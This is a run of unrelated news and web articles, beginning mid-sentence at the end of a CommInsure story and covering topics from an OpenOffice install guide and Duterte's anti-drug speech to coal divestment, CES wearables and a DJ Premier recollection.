brink.  “I have thought of taking my own life,” he says.  “There are multiple times where I’ve sat there and thought... how could a company that I was so passionate about, that I was so proud to work for, how could that company systematically destroy my life?  “Words can’t explain just how negative the experience has been with CommInsure. It’s horrible.”  For support or information, call Lifeline 131 114 or BeyondBlue 1300 224 636  Do you know more? Email Adele Ferguson aferguson@fairfaxmedia.com.au Financial Ombudsman Service 1800 367 287 • CommInsure 1800 106 133 Senate inquiry into financial advice economics.sen@aph.gov.au
-An attempt by the British Medical Association to avoid misgendering transgender maternity patients has backfired, with critics and tabloids lampooning the organization’s new glossary of gender-neutral terms, according to reports.  Doctors have been told to avoid calling their patients who are pregnant “expectant mothers,” so as to not offend intersex and transgender patients. The guidance suggests they be called “pregnant people.”  “Gender inequality is reflected in traditional ideas about the roles of women and men. Though they have shifted over time, the assumptions and stereotypes that underpin those ideas are often deeply-rooted. A large majority of people that have been pregnant or have given birth identify as women,” the guidelines say. “We can include intersex men and transmen who may get pregnant by saying ‘pregnant people’ instead of ‘expectant mothers’.”  The guidelines also state that someone who is “biologically male or female” should be called “assigned male or female,” that “the elderly” should be referred to as “older people,” and that the word used to refer to elevators reserved for the “disabled” should be “accessible.” ‘  Also, the words “mankind” and “manpower” should be avoided because it is a masculine word that erases women.  The guidelines recommend the term “Christian name” also should be avoided for patients’ first names, out of respect for those who are not Christian, and that medical staff should say, “last name” and not “family name.”  The British tabloid, The Sun, Fox News and others have mocked the BMA for these changes, announced late last year, as political correctness.  If you can’t call a pregnant woman an expectant mother, then what is the world coming to?? — David Adeola (@DavidAdeola) January 29, 2017  @DavidAdeola Seriously. No man has ever given birth. Never once in the history of the mankind #facts — Chris B Go Utes (@Pac12_UtahUtes) January 30, 2017  Those who claim no man has ever given birth have apparently not read about the first pregnant British man, Hayden Cross, who made headlines earlier this month with the announcement that he is four months pregnant. Cross is a transgender man.  And in the U.S., Thomas Beatie made headlines in 2008 for giving birth to his first child. The trans man had two more children by 2008.  Feminists and others hailed the new lingo.  The word "mother" is loaded and it's an identity that some people–cis women included–may not want thrust on them. — Another Angry Woman (@stavvers) January 30, 2017  So oh my goodness, I totally support dropping the hideously archaic "expectant mother" — Another Angry Woman (@stavvers) January 30, 2017  This Story Filed Under
-How To Install OpenOffice.org 3.0.0 On Ubuntu 8.04  Version 1.0  Author: Falko Timme  This guide shows how you can install the new OpenOffice 3.0.0 office suite on your Ubuntu 8.04 desktop. Your current OpenOffice installation will not be removed unless you uninstall it with Synaptic or on the command line, so you can run both versions in parallel if you like.  I do not issue any guarantee that this will work for you!  1 Installing OpenOffice 3.0.0  Visit http://www.openoffice.org/ and go to the download section; select the Linux DEB download for your language...  ... and save it to your hard drive (e.g. on the desktop):  After the download has finished, open a terminal (Applications > Accessories > Terminal)...  ... and go to the directory where you've saved OpenOffice 3.0 (I've saved it on my desktop, /home/falko/Desktop/):  cd /home/falko/Desktop/  Uncompress the archive...  tar xvfz OOo_3.0.0_LinuxIntel_install_en-US_deb.tar.gz  ... and go to the directory that contains all the .deb packages...  cd OOO300_m9_native_packed-1_en-US.9358/DEBS/  ... and install them with one single command:  sudo dpkg -i *.deb  If you have decided to uninstall Ubuntu's OpenOffice package (using Synaptic or the command line), you can also install the OpenOffice 3.0.0 desktop integration package (it contains launchers, etc.) as follows:  cd desktop-integration/  sudo dpkg -i openoffice.org3.0-debian-menus_3.0-9354_all.deb  This works only if you have previously uninstalled Ubuntu's OpenOffice package (don't do this if you want to run Ubuntu's OpenOffice and OpenOffice 3.0.0 in parallel)! If you have not, you will see the following error:  [email protected]:~/Desktop/OOO300_m9_native_packed-1_en-US.9358/DEBS/desktop-integration$ sudo dpkg -i openoffice.org3.0-debian-menus_3.0-9354_all.deb  [sudo] password for falko:  Selecting previously deselected package openoffice.org-debian-menus.  dpkg: regarding openoffice.org3.0-debian-menus_3.0-9354_all.deb containing openoffice.org-debian-menus:  openoffice.org-core conflicts with openoffice.org-unbundled  openoffice.org-debian-menus provides openoffice.org-unbundled and is to be installed.  dpkg: error processing openoffice.org3.0-debian-menus_3.0-9354_all.deb (--install):  conflicting packages - not installing openoffice.org-debian-menus  Errors were encountered while processing:  openoffice.org3.0-debian-menus_3.0-9354_all.deb  [email protected]:~/Desktop/OOO300_m9_native_packed-1_en-US.9358/DEBS/desktop-integration$  After you've successfully installed the desktop integration package, you can find OpenOffice 3.0.0 launchers under Applications > Office:  After the installation has finished, you can delete the downloaded archive and the OpenOffice directory:  cd ../../  rm -fr OOO300_m9_native_packed-1_en-US.9358 OOo_3.0.0_LinuxIntel_install_en-US_deb.tar.gz  2 Creating A Launcher  (This is necessary only if you want to run Ubuntu's OpenOffice package and OpenOffice 3.0.0 in parallel and therefore could not install the OpenOffice desktop integration package!)  Unfortunately, the installation hasn't created a launcher for OpenOffice 3.0.0 in our menus (the launcher that you see under Applications > Office is still for your old OpenOffice version), therefore we have to create it manually. Right-click on Applications and select Edit Menus:  Select the Office category and click on New Item:  Fill in a name for the launcher (e.g. OpenOffice 3.0.0 Writer) and then click on the Browse button to find the OpenOffice 3.0.0 executable:
-As other manufacturers unveil smaller, thinner, lighter laptops, Samsung is thinking big. On Thursday, the company released its 17-inch Series 7 Chronos, a hopeful desktop killer and the latest addition to its Series 7 lineup.  Compared to ultrabooks, the 17-inch Series 7 Chronos is a monster. It features a 1920x1080, 17.3-inch display, and measures just under an inch thick and weighs a whopping 6.26 pounds – quite heavy but still lighter than the 6.6-pound, 17-inch MacBook Pro. The whole Samsung shebang is encased in brushed aluminum.  Samsung's new gargantuan isn't made for always-scrambling road warriors – even thinking about carrying around this heavyweight for a full day might make your back ache. But Samsung says that the large screen will appeal to users who need a portable desktop replacement.  The laptop comes packed with Intel's Ivy Bridge Core i7 CPU, 8GB of flash memory, and Nvidia's latest graphics processor, the GeForce GT 650M. You'll get up to 8 hours of battery life, and retain 80 percent of the battery's original capacity even after 1,500 charges, according to Samsung.  The company wants to satisfy its multimedia power users, too. The 17-inch Series 7 Chronos comes with JBL stereo speakers, a built-in subwoofer, and HD audio processing. And with Intel's Wireless Display (WiDi) and built-in adapter, you can wirelessly beam your laptop's images and videos to a TV. As for storage capacity, 1TB of space is perfect for people who collect tons of music and video. The notebook also comes with plenty of ports: HDMI, two USB 3.0, two USB 2.0, VGA, and a card reader slot.  It seems anachronistic that Samsung would release such a large laptop in our current age of ultrabooks, but, hey, there must still be a market for unapologetically decked-out desktop replacements. If you want to get your hands on one of these big-screened bad boys, they're available for $1,500 starting May 10.
-All parking meters will cost $2.30 an hour. In premium parking zones, that means an increase of 30 cents an hour; in normal demand areas, it's more than a 200 percent jump.  WASHINGTON — It is seldom easy to find a metered parking space in D.C., and as of Wednesday, it will cost more to park too: Beginning June 1, parking meter rates will go up across the city.  Related Stories DC parking meter rates set to increase in June Transportation News  All parking meters will cost $2.30 an hour. In premium parking zones, that means an increase of 30 cents an hour; in normal demand areas, it’s more than a 200 percent jump from the current meter rate of 75 cents per hour.  “This does not increase one parking meter space in the city,” said John Townsend, manager of public and government affairs at AAA Mid-Atlantic. “They are exploiting motorists. There’s a finite number of parking meters in the city.”  There are about 18,000 parking meters in D.C., and the auto club accused the city of overly aggressive ticket writing.  “The District has such an impressive dragnet that it issued over 1.6 million parking tickets last year,” Townsend said, calculating that the revenue produced by those parking tickets reached nearly $88 million.  Follow @WTOP on Twitter and like us on Facebook.  © 2016 WTOP. All Rights Reserved.
-The oldest drinkable beer was found off the coast of Finland in 2010 according to the Technical Research Centre of Finland in a statement on February 8, 2011. Divers retrieved in 2010 well-preserved bottles of champagne and five bottles of beer from the wreck of a ship that likely sank during the first half of the 19th century in the Aland island chain. On February 8, 2011, Technical Research Centre of Finland will begin to determine what kind of a recipe was used in the brewing of the beer to perhaps brew the historic beverage again. (Editorial Use Only) UPI/VTT/Antonin Halas | License Photo  The oldest drinkable beer was found off the coast of Finland in 2010 according to the Technical Research Centre of Finland in a statement on February 8, 2011. Divers retrieved in 2010 well-preserved bottles of champagne and five bottles of beer from the wreck of a ship that likely sank during the first half of the 19th century in the Aland island chain. On February 8, 2011, Technical Research Centre of Finland will begin to determine what kind of a recipe was used in the brewing of the beer to perhaps brew the historic beverage again. (Editorial Use Only) UPI/VTT/Antonin Halas | License Photo  HELSINKI, Finland, Feb. 8 (UPI) -- Samples of the world's oldest beer have been examined in Finland to determine its recipe, with plans to brew the historic beverage again, researchers say.  A Baltic Sea shipwreck from between 1800 and 1830 was discovered in July 2010 and yielded many bottles of champagne and five bottles of what proved to be the oldest drinkable beer yet found.  The local government of the Aland island chain where the wreck was found has commissioned a scientific study to unlock the secret of the beer's original recipe, the BBC reported Tuesday.  Four professional beer tasters have already sampled the brew.  "They said that it did taste very old, which is no surprise, with some burnt notes," Annika Wilhelmson of the Technical Research Centre of Finland said.  "But it was quite acidic -- which could mean there's been some fermenting going on in the bottle and with time it's become acid," she said.  The research center has been commissioned to tease out the details of the sunken beer's recipe.  RELATED Moderate beer drinking said health benefit  "So far we have seen under microscopes that there are yeast and bacterial cells, but we don't know if they're dead or alive yet," Wilhelmson said.  "If we can't find living microbes, we will look at the DNA and try to compare it to brewing yeasts that we know today."  Determining which hops have been used may be harder, Wilhelmson said, so reviving the 200-year-old brew for modern drinkers may prove difficult.  "Whatever we analyze, we're going to have to do a lot of interpreting," she said. "We need to analyze what it is today and start thinking about what it was like when it was made -- when it was fresh, because it clearly isn't fresh now."
-Slideshow: Government shutdown Evan Vucci / AP Speaker of the House Rep. John Boehner, R-Ohio, pumps his fist as he walks past reporters after a meeting with House Republicans on Capitol Hill on Wednesday. Launch slideshow  House Speaker John Boehner, R-Ohio, acknowledged Wednesday that he would allow a vote in the House on a newly-minted Senate deal on debt and spending.  "We fought the good fight. We just didn't win," he said on WLW radio in Ohio.  Boehner additionally confirmed that he would "absolutely" allow the whole House to vote on a plan introduced on Wednesday in the Senate. That bipartisan plan, unveiled by Senate leaders, would fund the government through mid-January and raise the debt ceiling until early February.  The speaker conducted the interview shortly before heading into a closed-door meeting with fellow Republicans, who might be reluctant to support the deal because it extracts few concessions from Democrats and does very little to undo Obamacare.  But Boehner said he'd encourage his colleagues to vote in favor of the agreement, which he said would reopen the government as soon as Thursday.  "There's no good reason for our members to vote 'no,'" Boehner told talk radio host Bill Cunningham.  This story was originally published on
-Ajay Bhatt is seen with his new fence. Bhatt was fined by Montgomery County for rebuilding his back fence near the Capital Crescent Trail, seen at left. (Michael S. Williamson/The Washington Post)  The $500 fine that Montgomery County levied against Ajay Bhatt for building his backyard fence on county property might have drawn little notice, except that Bhatt isn’t just a homeowner, and it isn’t just any public land.  The one-year-old fence is 14 feet beyond Bhatt’s property line, on the shoulder of a wooded recreational trail between Bethesda and Silver Spring that’s part of the planned route for a 16-mile Purple Line transitway.  Bhatt, who lives in Chevy Chase, is the outspoken president of a citizens group fighting the plan to run trains along the trail. The person who complained about the fence, which prompted the county’s investigation, is a longtime Purple Line advocate who Bhatt says singled him out because he opposes the transitway route.  Yes, the decades-long debate over where to build a rail line in the Maryland suburbs has gotten personal, and it’s come down to a six-foot-high wooden fence.  “It seems awfully coincidental that I’m the president of Friends of the Capital Crescent Trail and I’m the only one who got a complaint,” Bhatt said.  Bhatt is appealing the county citation and the fine. His trial in Montgomery County Circuit Court is scheduled for June.  The trail alignment has always been the most controversial part of the plan to connect Maryland’s inner suburbs with east-west trains. Montgomery bought the trail land, an abandoned freight rail corridor, from B&O Railroad in 1988 to preserve it for a transitway and trail. A Purple Line would run light-rail trains between Montgomery and Prince George’s County, from Bethesda to New Carrollton.  Bhatt’s fence isn’t unusual along the trail. Longtime residents say the B&O Railroad didn’t mind them building fences and sheds in the right of way, and county officials say they don’t routinely investigate right-of-way violations unless they receive a complaint. Maryland Transit Administration officials planning the Purple Line say there are about 25 “encroachments” on the trail land, including sheds, garages, retaining walls and decks. MTA officials say they have not counted fences in the right of way, but a walk along the trail show many as close as Bhatt’s, some of them appearing relatively new.  The Purple Line’s construction is scheduled to begin next summer, pending federal funding. Any structures remaining in the right of way could face the bulldozers.  Bhatt, who owns a construction firm, said his $7,000 fence was built on the same spot where fences have stood behind his house for years. He said he showed the county permitting official a 1977 land survey of his home that included a fence beyond his property line, and he said he told the official that he planned to build his new fence there, too. The permitting official didn’t object, he said.  “I didn’t expect to prevent a Purple Line with a fence,” Bhatt said one recent afternoon from his back yard in the Coquelin Run neighborhood . “I know that’s not going to happen. But it doesn’t make sense for me to have to move my fence before” the Purple Line construction begins, he added.  County officials, however, note that Bhatt’s building permit has an “N” next to “Right of Way,” meaning he didn’t have permission to build on public land, and a “Y” next to “Owner’s Land,” meaning the permit covered only his private property.  Wayne Phyillaier, the Purple Line advocate and retired engineer who reported Bhatt’s fence, said he noticed it while riding his bike on the trail last May. He said he suspected that the fence was Bhatt’s and confirmed it using online real estate records.  Phyillaier said he was concerned that the county might be mistakenly issuing building permits for the Purple Line land, which he said would have encouraged other residents to build there. Bhatt’s fence, he said, was the “most egregious” example he’d seen of a homeowner building in the trail right of way, particularly after the publicly circulated Purple Line plans showed that a retaining wall would be built along Bhatt’s yard.  Phyillaier, who wrote about the case on his Silver Spring Trails blog, said the fence shows that Bhatt has a “deep, personal interest in blocking public use to that corridor.”  “He’s basically trying to grab a big chunk of public right of way enclosed behind a fence for his own personal use,” Phyillaier said. “How does he justify that, especially when he leads an organization that says it’s trying to preserve the trail for the enjoyment of the public?”  Montgomery officials have promised to rebuild and extend the trail along the Purple Line, plans that some cycling advocates praise as necessary to fill a critical gap in the region’s off-road trail network. Bhatt and other opponents say the construction of a a transitway would destroy the trail’s peaceful green space by cutting hundreds of mature trees and leaving runners and cyclists alongside noisy trains.  Diane Schwartz Jones, director of the county’s Department of Permitting Services, said she didn’t know of Bhatt’s or Phyillaier’s Purple Line views when she asked her staff to investigate the complaint.  She said the law against building on public land helps protect the county from liability if someone is hurt on the public property and from the cost of having to remove fences and other structures when the land is needed. Jones said the county fined and cited Bhatt only after he ignored a notice of violation.  “It’s not his property to put a fence on,” Jones said.  The county also cited Bhatt’s next-door neighbor for having a fence in the right of way. She tore it down before the fine would have taken effect, Bhatt said.  Bhatt said he knows he faces an uphill legal battle. In January, District Court Judge Patricia Mitchell found him guilty of installing a fence beyond private property. The judge suspended the $500 fine and gave him 30 days to remove the fence. Instead, Bhatt appealed to Circuit Court.  Mitchell rejected Bhatt’s arguments that others had built fences along the trail and that the land he’d fenced in would be readily available for public use once Purple Line construction started, according to an audio recording of the 20-minute trial. But the judge told Bhatt that the only fact relevant to the legal case was whether he built a fence on public property — a point Bhatt conceded was true.  Get updates on your area delivered via e-mail
-David Cameron has announced plans to help protect children from adult content online, by insisting all new computers ask whether there are children in the household when they are turned on for the first time.  The prime minister described the plans in an article for the Daily Mail as "radical" and insisted that they will help parents protect children from internet pornography, violence and other unsuitable websites, adding that such content is "a silent attack on innocence" and that childhood should be "untainted by the worries and complexities of adulthood."  If the plan is backed by manufacturers, it would mean that owners of every brand new computer would be asked if there are children in the household when they are first turned on. If the user answers positively, they will be prompted to adjust their internet filters accordingly.  If parents repeatedly click OK to get through the process more quickly, the computer would automatically block access by any user to sites containing pornography and self-harm. Internet service providers (ISPs) would also be required to verify the age of the person setting the controls, so that a child can't do it.  The technology will also show parents how to limit access to social networks like Facebook and Twitter after a time of their choice, so children can't view social media on their own at night, and block access to certain websites altogether.  The PM announced that Conservative MP Claire Perry will be appointed as his advisor on reversing the commercialisation and sexulisation of children, and she will be in charge of implementing the new web filters; Perry has also led a campaign for broader, automatic blocking of adult content online.  Critics  Despite claims from critics that MPs were putting ISP's profits ahead of protecting what children see online by vetoing an opt-in system for users to view all adult content with one click, Cameron insisted it is clear that a "more sophisticated system" will be more effective, arguing that on/off filters are not used because they are so wide-ranging that parents turn them off through frustration.  "The point is we need a more sophisticated system than this," Cameron said. "One that allows parents to tailor exactly what their children can see. This is what child safety experts recommend."  The PM added: "With our new system, every parent will be prompted to protect their child online. If they don't make choices, protection will be automatically on. No other government has taken such radical steps before.  "And once all this is in place, Britain will have the most robust internet child protection measures of any country in the world - bar none."  In his Daily Mail article the Conservative leader went on: "All this comes back to something really important. It's not just about the internet, or modern technology - it's about childhood.  "These should be distinct and precious years, full of security and love, untainted by the worries and complexities of adulthood. From one parent to another, I pledge to do whatever I can to preserve that innocence and protect our children. Nothing matters more."
-An unexploded bomb kills one and injures 13 others in Germany  Frank Augstein / AP Police forces examine the scene of a World War II bomb explosion during construction works of a digger in Euskirchen, Germany, Friday, Jan. 3, 2014  An unexploded bomb detonated in Germany Friday, resulting in one more World War II casualty, sixty-eight years after fighting ended.  A driver of a bulldozer was killed by the explosion after accidentally striking the bomb in the German town of Euskirchen, the Associated Press reports. Thirteen other people were injured, two critically. The explosion damaged homes within a 400-meter radius of the detonation.  Undiscovered bombs still litter Germany almost 70 years after the war. About 2,000 have been found in Berlin alone, according to National Geographic. In November, 20,000 people had to be evacuated from Dortmund when police found a 4,000-pound Allied bomb. They defused the bomb before anyone was hurt. “Here in Berlin, it is a fact of daily life to defuse bombs,” a Berlin police spokeswoman told CNN, after authorities defused a Russian bomb found less than six feet from train tracks in the city center.  The threat of leftover bombs is so common that companies often hire private bomb disposal companies to check if sites are safe before construction, according to CNN.  [AP]
-THE PHILIPPINE PRESIDENT-elect has encouraged the public to help him in his war against crime, urging citizens with guns to shoot and kill drug dealers who resist arrest and fight back in their neighborhoods.  In a nationally televised speech late last night, Rodrigo Duterte told a huge crowd in the southern city of Davao celebrating last month’s presidential victory that Filipinos who help him battle crime will be rewarded.  “Please feel free to call us, the police, or do it yourself if you have the gun — you have my support,” Duterte said, warning of an extensive illegal drug trade that involves even the country’s police.  If a drug dealer resists arrest or refuses to be brought to a police station and threatens a citizen with a gun or a knife, “you can kill him,” Duterte said.  Shoot him and I’ll give you a medal.  The 71-year-old Duterte won the 9 May presidential election on a bold promise to end crime and corruption within six months of his presidency.  That vow resonated among crime-weary Filipinos, though police officials considered it campaign rhetoric that was impossible to accomplish.  Human rights watchdogs have expressed alarm that his anti-crime drive may lead to widespread rights violations.  Duterte has been suspected of playing a role in many killings of suspected criminals in his city by motorcycle-riding assassins known as the “Davao death squads,” but human rights watchdogs say he has not been criminally charged because nobody has dared to testify against him in court.  Source: Bullit Marquez  In his speech yesterday, Duterte also asked three police generals based in the main national police camp in the capital to resign for involvement in crimes that he did not specify.  He threatened to humiliate them in public if they did not quit and said he would order a review of dismissed criminal cases of active policemen, suggesting some may have bribed their way back onto the force.  “They go back again crucifying the Filipino,” he said.  I won’t agree to that.  “If you’re still into drugs, I will kill you, don’t take this as a joke,” he said to loud jeers and applause.  I’m not trying to make you laugh, son of a bitch, I will really kill you.  Bounties  The foul-mouthed longtime Davao mayor and former government prosecutor said crimes were committed by law enforcers because of “extreme greed and extreme need.”  He said that he would provide a small amount to an officer who was tempted because his wife has cancer or a mother died, but that those who would break the law because of extreme greed “will also be dealt with by me. I’ll have you killed.”  Duterte, who starts his six-year presidential term on 30 June, repeated a plan to offer huge bounties to those who can turn in drug lords, dead or alive.  While it remains to be seen what will happen to his threats when he takes office, some policemen have heeded his call for a tougher anti-crime approach.  In suburban Las Pinas city in the Manila metropolis, police have apprehended more than 100 minors who defied a night curfew, and men who were either having drinking sprees in public or roaming around shirtless in violation of a local ordinance.  The crackdown was dubbed “Oplan Rody” – after Duterte’s nickname – or “Rid the Streets of Drinkers and Youth.”
-AdDuplex – a new innovative way to promote your Windows Phone 7 apps for free – no longer requires invitations to join.  AdDuplex helps you promote your WP7 app by helping other developers/publishers to promote their. You just add AdDuplex AdControl to your WP7 Silverlight application (XNA support coming later) and start showing ads for other apps on the network. They, in turn, show ads for your app. It’s that simple.  The exchange ratio is currently set to 8:10. This means that for each 10 ads you show for other apps you’ll get 8 impressions for your app’s ad. The remaining 2 will be sold to support the service.  Join now!  Go Live in February and Get 1000 Impression Bonus!  Register your app on AdDuplex network, implement AdControl and go live in Windows Phone 7 marketplace by the end of February, 2011 and get 1000 extra impressions for your ad absolutely free.
-Brendan Rodgers has admitted Liverpool “cannot even entertain talk” of mounting a title challenge again until they recover their poise, with last season’s runners-up having endured a third damaging defeat in their first five games for only the second time since the top flight was revamped as the Premier League  The visitors were overrun by two early goals from a vibrant West Ham United early on at the Boleyn Ground and, once they had gathered some late momentum, were caught on the break by Morgan Amalfitano’s third. The loss was suffered with six senior players – most notably Daniel Sturridge and Glen Johnson – currently injured, but Rodgers admitted his players had fallen below the standards set last term in slipping to a second successive league defeat.  “We were nowhere near the standard,” he said. “Lots of elements of our game have been very good in the last few seasons, but it’s not quite happening for us at the moment. We have a lot of work to do, but that was disappointing. We showed our potential in the Tottenham Hotspur game [won 3-0] when we had key players fit, and showed the quality and intensity of the team. But, even with those guys out, we should still be better than we were today.  Steven Gerrard leads his Liverpool team off the field after the game. Photograph: Michael Zemanek/BPI/REX  “We’ve set a new expectancy at the club and we have to deal with that now. It’s a club people want to beat, but we’re even more so now we’re in the Champions League. It’s something we need to deal with. I’ve always said we’re a work in progress – we probably arrived early last year – and people will look at Chelsea and Manchester City as the two squads set up for the title race, but there are no limits to what we want to achieve at Liverpool.  “We just want to keep moving forward. But we’ve lost three of our last five, so we can’t even entertain talk of that until we get some sort of consistency. We have to get back to what we were doing in the Spurs game.”  Brendan Rodgers watches his side at Upton Park. Photograph: Mike Hewitt/Getty  Rodgers has made no secret of the difficulties in integrating a clutch of new signings – bought with Luis Suárez sold to Barcelona and with the extra demands of the Champions League in mind – with seven new arrivals playing some part here. They are still striving to adjust to new surroundings, though there is little time available for them to find their feet. “We have to deal with the expectation,” said the Liverpool manager, who will welcome Everton to Anfield on Saturday “We can’t run away from it. It wasn’t anywhere near what I’d expect, and that intensity just wasn’t there in our game. So we’ll have to try and get better.”
-The unrest roiling through the Middle East and North Africa has now spread to the tiny nation of Djibouti, where thousands of people have gathered on the streets to demand the immediate resignation of President Ismael Omar Guelleh.  Reportedly, security forces in riot gear kept a close eye on the demonstrators.  Other reports claim that police have opened fire on demonstrators.  “The police are confronting demonstrators,” Mohamed Daoud Chehem, head of the opposition Djibouti Party for Development, told reporters by phone. “They have opened fire.”  Djibouti, which gained independence from France in 1977, is located on the Horn of Africa, surrounded by Eritrea, Ethiopia and Somalia. It also lies across the Gulf of Aden from Yemen, where anti-government rallies have raged for days.  In addition, the U.S. has a military base in Djibouti, which is important strategically for its access to the Red Sea. France, which used Djibouti as a base of operations during the Gulf War, has thousands of soldiers stationed there.  Guelleh succeeded his uncle as the country’s boss in 1999. Last year, the constitution was amended to allow Guelleh to run for a third time (he “won” the election in 2005 when he ran unopposed).  Agence France Presse reported that protesters held up placards which read IOG out and No to a third mandate.”  Djibouti will hold its next elections in April, but the current unrest may change that.  The country is largely barren with less than 1-million people. The population comprises two primary ethnic groups: the Issa (of Somali origin) and the Afar (of Ethiopian origin).
-Parliament voted to order the nation’s pension fund to shift holdings out of billions of dollars of stock in companies that rely at least 30 percent on coal.  Norway’s $890 billion government-pension fund, considered the largest sovereign-wealth fund in the world, will sell off many of its investments related to coal, making it the biggest institution to join a growing international movement to abandon at least some fossil-fuel stocks.  Parliament voted Friday to order the fund to shift its holdings out of billions of dollars of stock in companies whose businesses rely at least 30 percent on coal.  The decision — which could seem paradoxical, given that Norway is a major producer of oil and gas — is certain to add momentum to a push to divest fossil-fuel stocks that emerged three years ago on college campuses.  The Church of England said last month that it would drop companies involved with coal or oil sands from its $14 billion investment fund, and the French insurer AXA said it would cut some $560 million in coal-related investments from its portfolio. Members of the Rockefeller family, whose fortune derives from Standard Oil, also pledged last year to remove fossil-fuel investments, beginning with coal, from their philanthropic Rockefeller Brothers Fund.  There is no question that the decision by various funds to sell fossil-fuel stocks has little or no impact on the vast market capitalization of most companies. For that reason, the divestment movement has long been dismissed by many institutions as symbolic.  But divestment decisions from funds like Norway’s are important because they require, as a first step, discussions that once seemed taboo, said Bob Massie, a longtime climate activist.  Many institutions have pushed back against the divestment movement. Drew Gilpin Faust, president of Harvard, has said the university can address climate change through research, education and its own practices, and that dropping fossil-fuel investments is not “warranted or wise.”
-Wearable tech will be big this year, with dozens of gadgets to clip on your clothing, wear on your wrist, strap to your head (or helmet), and even slip on your feet.  Wearable tech was big at CES this year, where we saw dozens of gadgets to clip on to clothing, wear on a wrist, strap to our heads (or helmets), and even slip on your feet. Many of these wearables are evolutionary, rather than revolutionary, but they have the potential to change the way we will interact with and use technology every day.  Smartwatches: Getting elegant & multipurpose  Wellograph  Dozens of companies are getting in on the booming smartwatch trend. Some focused on design and others on fitness.  On the design side, the Pebble watch company, a veteran of the game, has a more elegant version of its already popular Pebble smartwatch, featuring more memory and a new steel case and band. The Wellograph, a combo smartwatch and fitness tracker, also impressed us with its elegant design, simple and easy to read interface, and sapphire crystal display. In the back of the watch is a heart rate sensor and built-in is a 9-axis motion sensor to track your activity throughout the day.  Most of the fitness-focused smartwatches have impressive activity tracking capabilities. Many try to do too many things and end up not doing any of them well, but there are a few smartwatches that get the balance right.  LifeTrak  One such smartwatch is the LifeTrak Zone R415. On the fitness tracking side it counts steps, automatically determining activity (walking, running, etc.) and eliminating non-step activities like driving in a car. It includes heart rate monitoring as well as calorie counting based partly on that data. The Zone will also track your sleep and wake you up when it detects you’re in a light sleep phase so you won’t be groggy.  On the smartwatch side, it alerts for incoming and missed calls, text messages, and email. You can’t take a call or read the full message on the watch. For a combo device that’s main focus is fitness, that bit of functionality feels like enough. All this and it will last a year on the small, replaceable battery inside. The R415 will be available this summer.  Kreyos  Kreyos Meteor also sports a long list of useful features, but manages to make it all work. The smartwatch comes with a speaker and mic built-in for taking calls and for voice commands. You can also control smartphone functions with simple hand gestures. The screen shows full notifications, such as the text of emails and SMS, and for some apps you can respond back from the watch.  As a fitness tracker, the smartwatch counts steps and other activity, though there’s no heart rate monitor. The Meteor can connect to an ANT+ or Bluetooth-enabled heart rate monitor to utilize that information to calculate calories burned. All this plus you don’t have to strap it on as a watch–with accessories you can wear around your neck or clip on to clothing.  Life Tracking: One wearable to rule them all  Another big trend in wearable is lifelogging, which most often involves hooking a camera to you from dawn ’til dusk or when you’re doing something cool, such as base jumping from the world’s tallest building. Capturing every single moment on film doesn’t appeal to everyone, but what about a device that constantly monitors what you’re doing and saying in order to enhance your life and store key data?  That’s the promise of the Kiwi, a clip on device that’s still in development. If the Kiwi does everything it’s supposed to do, it will be one of the most sophisticated trackers available. The Kiwi senses motion, temperature and sound (including your voice) like other devices, but the paired smartphone app doesn’t just collect information The app also interacts with the Kiwi and the wearer. You can wear it anywhere on the body from your collar to your wrist to your shoe, and it’s capable of different functions, collecting different information depending on where you wear it.  If you wear the Kiwi on your arm or wrist during a workout, the Kiwi can track reps for almost any activity from weight lifting to cardio machines. Keep it on your collar or mid-chest while cooking and it can record you speaking a recipe aloud. The Kiwi will calculate the nutritional value of the meal and update your grocery list. Wear it on your wrist to initiate actions, like making a call or turning the temperature up on your connected thermostat, with simple gestures.  You can build all of these interactions via the smartphone app. The interface looks similar to If This Then That (IFTTT.com) and the recipes seem just as easy to set up as they are on IFTTT’s service. The number of actions and trackers are in the dozens, and each can stand alone or be grouped together as part of profiles based on time of day, location, or activity.  Again, if it fulfills its promise, the Kiwi could be the most sophisticated tracker available when it launches this summer.  Kid Wearables: Always keep them in sight  Protecht  Sophisticated tracking devices aren’t just for adults. A number of new clip-ons are designed specifically to help parents keep kids safe.  The Protecht electronic guardian lets caregivers track eight kids or items up to 150 feet away with a master controller. The master unit gets an alert if a child wearing a tag gets too far away, is exposed to extreme temperatures or if someone presses the panic button.  That works for close proximity monitoring but isn’t useful if your child is at school and you’re across town at the office. Trax is a GPS device that parents can track from a smartphone app or the web. You can see where the tracker is on a map at all times and get alerts if your kid exits a pre-set safety boundary, such as the area around their school, day care, or friend’s house. Trax also alerts you if the device gets dropped (or removed) and if it exceeds a certain speed limit.  What’s Next?  Advances in textile-based sensors point toward a future where trackers will be articles of clothing just as often as they are accessories. We’ve already seen the beginning of this in the Sensoria Smart Socks, one of our Best of CES winners. Can a touchscreen sleeve that alerts you to calls and other notifications be far behind?  And why stop at clothes? Google Glasses and other head gear that provide heads-up displays or eye-level images and video seem futuristic now, but a new Google project to create a smart contact lens is already in the works. Its original purpose is to collect blood glucose levels from tears for diabetic patients. We highly doubt that will be the only trick it can do when it’s ready for a wider audience.  Biometrics, images, video, activity data, location, messages, mood—there’s no limit to what you’ll be able to track with your watch or shirt or eyewear or accessories in the next few years.  This article was written by K.T. Bradford and originally appeared on Techlicious.  More from Techlicious:
-DJ Premier: “That was just amazing because it happened in this room. Actually, anything from ‘92 and on, we did it here. It was just amazing watching him work because I was already a fan of him when he did ‘Back to the Grill,’ ‘Halftime,’ ‘It Ain't Hard to Tell,’ and ‘Live at the Barbeque.’ So when I heard him on those records I was like, ‘Yo, I got to do something that’s on the same level.’ So I came in here, and flipped the ill, gutter, Joe Chambers sample (‘Mind Rain’). I can tell you because it’s cleared. [Laughs.] Nas watched me build the beat from scratch. And he wrote the verse in the studio. If you listen to ‘N.Y. State of Mind’ you’ll hear him going, ‘I don’t know how to start this shit,’ because he literally just wrote it. Before he started the verse, I was signaling him going, ‘One, two, three,’ and he just goes in like, ‘Rappers I monkey flip’em, in the funky rhythm." He did that in one take. After he did that first verse, he goes, ‘How was that? Did that sound all right?’ And we were just like, ‘Oh, my God! The streets are going to go crazy when they hear this!’  “It was one take, but he would format it before. He’ll sit at the front, cover his mouth when the beat’s playing, and would mumble it. So we can’t hear what he’s saying. He was real quiet, but he would bring his whole army. Rest in peace to Drawz, by the way. He just died not too long ago. I remember [Nas] bringing Slate, Wallet Head, basically, all the people he was shouting out. They would be like, ‘Can we go in [the booth] too?’ They just wanted to feel it, you know? It was just funny to watch them all in the booth doing ‘Represent,’ and yelling in the background.”
